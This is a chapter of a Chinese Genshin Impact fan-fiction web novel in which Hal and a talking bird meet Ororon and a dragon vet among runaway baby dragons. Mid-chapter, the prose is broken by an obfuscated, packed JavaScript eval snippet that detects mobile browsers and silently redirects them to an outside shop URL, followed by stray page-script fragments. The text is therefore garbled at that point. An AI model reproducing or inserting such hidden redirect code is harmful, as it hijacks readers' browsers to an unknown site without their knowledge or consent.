梅兰塔:“……”
梅兰塔:“????”
梅兰塔不可置信地拔高了声调:“什么?!!”
哈尔也很苦恼。
他搓了搓凑到怀里的绒翼龙,小家伙的脑袋在他掌心蹭来蹭去,绒毛细密又温热,像一块被太阳晒暖的毛毯:“可能这些龙都是傻子吧……我又不是母的……”
梅兰塔一边眉毛翘得高高的,很难想象一只燃浮鸟能做出这么生动的表情:“你的语言系统究竟是怎么回事?人还能用公母来区分吗?”
【说实话,我看小梅也不清醒。】
【重点难道不是叫妈妈吗?】
【就要男妈妈!就要男妈妈!】
【这个场景怪可爱的。】
【申请和哈基鼠交换位置!】
【所以主包为什么突然能听懂龙语了?】
【可能是德鲁伊吧。】
哈尔:“所以现在该怎么办?”
他们已经被这群小龙包围。
虽然随时可以带着梅兰塔融入影子离开,但——
“它们的父母在哪?”
四周连条大龙的影子都没有。难道全是走失儿童?
梅兰塔:“当务之急是从这个包围圈出去。我要憋死了。”
哈尔将他抱起来,拍了拍脑壳:“别这么说。”
正当梅兰塔以为他要说人话的时候。
哈尔:“你本来就是死人啊。”
梅兰塔闭眼蹬腿:“是我想多了。”
燃浮鸟可以喷火。他就该一口火焰烧掉这家伙的头发。但鉴于哈尔在岩浆里都能畅行无阻——梅兰塔到底没敢动。
哈尔艰难地从一堆毛茸茸中站起身。小龙们叽叽喳喳地贴着他的腿,像一圈会动的毛绒玩具。
就在这时,不远处传来一声喊。
“喂!那里很危险,快出来!”
一人一鸟抬头。高处的山崖上站着一个穿黑色斗篷的青年,脖子上的蓝色围巾在热风里翻飞,分外扎眼。
那人怀里抱着个筐子,朝他们用力招手:“一会儿火山又要喷发了!快上来!”
“你是受伤了吗?!”
青年放下筐子,准备跳下来帮忙。他还没起跳,就见下方斜坡处的人影一晃,一眨眼的功夫,那群幼龙和人就出现在了他面前。
刚才离得远,哈尔没看清这人的模样。现在倒是能仔细看看了。
青年有一头蓝紫色的半长发,红蓝异色的眼瞳,表情看着有些呆。黑色的斗篷和蓝围巾上绣着颜色绚丽的花纹,手臂上有着深色的纹路。这些都不是重点。重点是对方头顶,没有被斗篷帽子遮住的,立着一对蓝色的耳朵。
“蝙蝠?”
哈尔还是第一次见到除了猫耳之外的返祖现象。
那维莱特不算,他是龙。
“我是烟迷主的欧罗伦。你是……”欧罗伦低头看了看少年的红斗篷。
对方身上并无纳塔人特有的纹饰,服装上的花纹也不同于纳塔的狂野,是另一种精致而华丽的绣线。
他很快有了判断,“你是其他国家的游客?你父母呢?火山这里很危险,小孩子不要乱跑。”
“我不是小孩子。”哈尔仰着头看他,眯了眯眼,“我是枫丹的哈尔。”
小孩子总会认为自己已经长大了。欧罗伦对这一点非常了解,毕竟他就是一个认为自己已经成长、不会再被奶奶管教的大人。
于是他重复了另一个问题:“你的家长在哪里?”
在欧罗伦看来,纳塔的生活环境比其他国度恶劣得多,小孩子也强壮得多。眼前这个少年细皮嫩肉的,比纳塔的小孩脆弱不少。他忽略了刚才这个“小孩”带着一群龙瞬移的功夫。
哈尔:“你问我爸?他在枫丹啊。”
欧罗伦:“你是跟着妈妈来的?”
哈尔歪了歪头:“我妈妈……应该不在了吧。”
欧罗伦问他妈妈的时候,哈尔心里本能地浮现出一个模糊的影子。但他记不起对方的模样,只感觉“妈妈”大概率不在大陆上。
欧罗伦误会了,摸了摸鼻子,语气里多了几分歉意:“抱歉。”
他看向哈尔身后那群小龙:“这些孩子……又是怎么回事?”
哈尔摇头:“我不知道。我从岩浆里爬上岸就遇到火山爆发,然后就是你看到的那样了。”
欧罗伦:“……什么?”
他异色的眼睛猛地瞪大:“岩浆?!”
哈尔点点头,把手里抱着的梅兰塔举起来:“他可以给我作证。”
梅兰塔已经彻底无语了。
豆豆眼里全是认命:“对。我作证。他说的是对的。”
“……我第一次见到能说话的燃浮鸟。”欧罗伦喃喃道,“难道我早餐吃了毒蘑菇吗?”
我活到头了?
就在欧罗伦和燃浮鸟大眼瞪小眼的时候,又一个人爬了上来。
“哥们儿!太好了!”
来人有一头浅薄荷色的短发,肤色偏深,穿着一身白大褂,头戴一顶白色牛仔帽。看到欧罗伦和那群小龙,他露出一个爽朗的笑容:“我正要你帮忙找这群小家伙呢!没想到你提前找到他们了?真是心有灵犀啊!”
欧罗伦转过身,让出被挡住的哈尔:“不是我。是这位小哥找到了它们。”
哈尔:“我没找。是它们自己跑过来的。”
梅兰塔艰难地翻了个白眼,吐槽道:“……纠结这个,不如赶紧离开这里。火山是不是又要喷发了?”
“说得对!”
男子走近,刚才离得远,他没听清是谁在说话,还以为是欧罗伦,他伸手拍了拍欧罗伦的肩膀,低头对哈尔笑道,“多谢你啦小哥。我是花语会的兽医伊法。这群小家伙就是我要诊断的小病号……真是的,一个不留神就跑这么远,让我一顿好找。”
他蹲下身,大手从幼龙脑袋上一个一个摸过去,语气温柔地哄着:“跟我走,你们的家人还在等你们回去呢。你们要勇敢,克服打针的困难才能成为勇士!”
那群幼龙见到他,齐刷刷地缩起脑袋,叽叽喳喳地挤成一团,一个个像鹌鹑似的团在哈尔身边。任伊法怎么哄,都不挪窝。
“唉……”伊法苦恼地揉了揉帽子,“那句话怎么说的来着?良药苦口……”
欧罗伦质疑:“这些小家伙能懂这个吗?”
小龙的叽叽喳喳,哈尔听得懂。
他问:“你就是它们的妈妈?”
“噗……”
正在艰难推动一只小突角龙的伊法一口口水喷出来:“什么?”
欧罗伦在旁边端着一只绒翼龙,闻言猛地转头:“哦天啊,哥们儿,你有孩子了?”
伊法无语:“正经点。什么妈妈……我看起来像女的吗?”
哈尔:“那就是男妈妈了。”
欧罗伦:“原来如此。”
“都是什么跟什么啊……你们俩是刚认识的异父异母兄弟吗?脑回路一个样子?”伊法气笑了,“快走吧!一会儿火山又要爆发了!”
哈尔和梅兰塔就这么跟着他们离开了火山。
小龙们跟在哈尔脚边,像一串滚动的毛球。梅兰塔被哈尔抱在怀里,生无可恋地耷拉着翅膀,偶尔被路边的石头颠一下,发出一声微弱的“咕”。
路上,他们互相交换了一下信息。
纳塔这个国家和其他国家不一样。这里深渊灾害频发,纳塔人需要长时间与深渊魔兽搏斗,所以这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947053|211832||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
国家的人从小就有堪称魔鬼的训练方式。顺带着,纳塔特有的物种——龙,也有一套特殊的晋升路径。龙是与纳塔人并肩作战的伙伴与家人,所以像伊法这样的兽医十分重要。
欧罗伦:“人有人的医生,龙有龙的医生。很有道理。”
伊法笑了笑:“不是所有顺口的话都是道理啊哥们。”
他们所在的这片火山,是纳塔六部族之一——沃陆之邦的范围。这里是一处活火山的喷发点,所以土壤肥沃,适合种地。欧罗伦虽然是烟迷主人,但对种植别有一番见解。他这次来,就是为了带点沃陆之邦的土回去肥田。而伊法则是照例来沃陆之邦走访,治疗生病的龙。
这群小龙就是其中的一部分。它们因为害怕打针,组团跑了出去,没想到会碰上哈尔。
对此伊法十分感激:“真是多亏了你,哥们儿。要不然我真不知道该怎么找它们。龙是我们的家人。家人失踪,我这个医生就脱不了干系。”
欧罗伦:“说真的,你该找一个助手了。”
伊法苦恼地摇头:“唉,兽医助手可不是容易的活,很难办啊。”
他好奇地问哈尔:“你是怎么让它们跟着你的?”
刚才在山上,任凭他和欧罗伦两人怎么哄,这群小龙都不动。但哈尔一走,它们就跟着一起走了。看得伊法十分羡慕。
哈尔想了想:“它们虽然喊你妈妈,但是又怕你……可能是离家出走的孩子怕被鸡毛掸子打吧。”
半天没出声的梅兰塔说道:“你是有经验的。”
哈尔:“什么经验?”
梅兰塔:“被你妈拿着鸡毛掸子打的经验。”
哈尔大惊:“原来我有妈妈啊!”
【……】
【不是,哥们儿!】
【槽点太多不知道从哪里开始。】
【主包原来有妈妈啊……】
【听着就很不可思议。】
【人是妈妈生的,有什么不可思议的?】
【难说】
【主包又不是人,万一天生天养呢?】
【也对】
【对个头啊!重点不在于哈基鼠失忆前也是个魔丸吗?!】
纳塔本地人显然也十分震撼。
“啊……这……”伊法语无伦次,“这是提瓦特通用语吗?”
欧罗伦倒是淡定许多:“原来你有妈妈。是我误会了。人是妈妈生的,这很有道理。”
“哥们儿你认真的吗?”伊法忍不住了,“我们到底要在这个话题上纠结多久啊!”
“那就说说它们为什么认你当妈妈吧?”哈尔重新找回话题,“反正我听它们这么喊的。”
欧罗伦给出解释:“大概是因为这些小家伙很多是孤儿,被部落集中收养,接触最多的又是伊法吧。”
“我是该吐槽人能听懂龙说话,还是该证明我真的是男人啊……”伊法感到一阵无力。
梅兰塔显然和他感同身受:“我以为一个哈尔就已经够神经了。没想到还有一个……习惯就好。”
伊法抬头望天:“还有为什么燃浮鸟会说话啊……”
可怜的伊法医生直到回到诊所,也没能纠正哈尔的看法。
哈尔:“因为妈妈是一种感觉。”
他严肃地听那群小龙叽叽喳喳了一会儿,郑重地点了点头:“总之,它们喊你妈妈是没错的。”
“虽然龙语者很让人震惊没错,但我一点都不想听到这个……”伊法已经释然了。
他掏出针筒,针尖在灯光下闪着寒光,“在进一步交流之前,先把针打了吧。欧罗伦,来帮忙!”
欧罗伦正分析着筐子里的土壤,闻声直起身,拍干净手里的土,干劲十足:“来了!”